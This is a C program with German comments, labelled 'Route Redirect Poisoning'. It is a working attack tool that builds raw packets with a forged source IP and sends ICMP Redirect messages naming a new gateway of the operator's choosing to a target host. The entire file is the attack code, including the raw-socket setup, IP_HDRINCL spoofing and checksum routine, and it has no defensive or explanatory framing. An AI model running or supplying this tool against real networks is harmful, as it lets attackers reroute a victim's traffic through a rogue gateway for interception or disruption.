#include <stdio.h> #include <unistd.h> #include <string.h> #include <time.h> #include <netinet/ip_icmp.h> unsigned short in_cksum(unsigned short *addr, int len); int main(int argc, char** argv) { int PakSize = 84; //rand() initialisieren srand((unsigned) time(NULL)); if (argc != 4) { printf("Parameter: <Quell IP> <Ziel IP> <Neuer Gateway>\n"); return -1; } printf("Route Redirect Poisoning\nQuelle:\t%s\nZiel:\t%s\nGateway\t%s\n\n", argv[1], argv[2], argv[3]); //raw socket fuer icmp erstellen int s = socket(PF_INET, SOCK_RAW, IPPROTO_ICMP); if (s <= 0) { printf("FEHLER: Konnte Socket nicht erstellen!\n"); return -1; } //Datagram erstellen und nullifizieren char datagram[PakSize]; memset(datagram, 0, PakSize); //Pointer zum IP Header und ICMP Header holen struct ip *iph = (struct ip *) datagram; struct icmp *icmph = (struct icmp *) (datagram + sizeof (struct ip)); // destination sockaddr struct sockaddr_in dst; bzero(&dst, sizeof (dst)); dst.sin_family = AF_INET; inet_pton(AF_INET, argv[2], &dst.sin_addr); //Einzelne IP Header Bestandteile befuellen iph->ip_hl = 5; //Headerlaenge (5 * 32)/8 = 20 byte iph->ip_v = 4; //IP Version iph->ip_tos = 0; //Type of service iph->ip_len = PakSize; //Paketgroesse iph->ip_id = rand(); //PaketID, grad wurscht iph->ip_off = 0; //fragmenting info iph->ip_ttl = 25; //TTL iph->ip_p = 0x01; //Protokolltyp (0x01 = ICMP) iph->ip_sum = 0; //Pruefsumme, wird spaeter berechnet //Muss man wohl so reinschreiben inet_pton(AF_INET, argv[1], &iph->ip_src.s_addr); //Quell IP inet_pton(AF_INET, argv[2], &iph->ip_dst.s_addr); //Ziel IP //ICMP Header erstellen icmph->icmp_type = ICMP_REDIRECT; //Auch bekannt als Typ 5 icmph->icmp_code = 3; //1 (Redirect for Host) oder 3 (Redirect for TOS ans Host) icmph->icmp_cksum = 0; //Erstmal 0 // put in some ip-data (actually it should be ipheader + 8 bytes data of the old packet) memcpy(&icmph->icmp_data, iph, sizeof (struct ip) + 8); //Neue Gateway Adresse schreiben inet_pton(AF_INET, argv[3], &icmph->icmp_hun.ih_gwaddr); //Pruefsummen berechen und schreiben icmph->icmp_cksum = in_cksum((unsigned short *) (datagram + sizeof (struct ip)), (64) >> 1); iph->ip_sum = in_cksum((unsigned short *) datagram, iph->ip_len >> 1); // set HDRINCL option int one = 1; if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, &one, sizeof (one)) == -1) { printf("FEHLER: Konnte hdrincl nicht setzen\n"); return -1; } //Paket absenden if (sendto(s, datagram, PakSize, 0, (struct sockaddr *) & dst, sizeof (dst)) < 0) { printf("FEHLER: Konnte Paket nicht absenden\n"); return -1; } printf("ERFOLG: Paket gesendet\n"); close(s); //Socket schliessen return (0); } unsigned short in_cksum(unsigned short *addr, int len) { int nleft = len; int sum = 0; unsigned short *w = addr; unsigned short answer = 0; /* * Our algorithm is simple, using a 32 bit accumulator (sum), we add * sequential 16 bit words to it, and at the end, fold back all the * carry bits from the top 16 bits into the lower 16 bits. */ while (nleft > 1) { sum += *w++; nleft -= 2; } /* 4mop up an odd byte, if necessary */ if (nleft == 1) { *(unsigned char *) (&answer) = *(unsigned char *) w; sum += answer; } /* 4add back carry outs from top 16 bits to low 16 bits */ sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */ sum += (sum >> 16); /* add carry */ answer = ~sum; /* truncate to 16 bits */ return (answer); }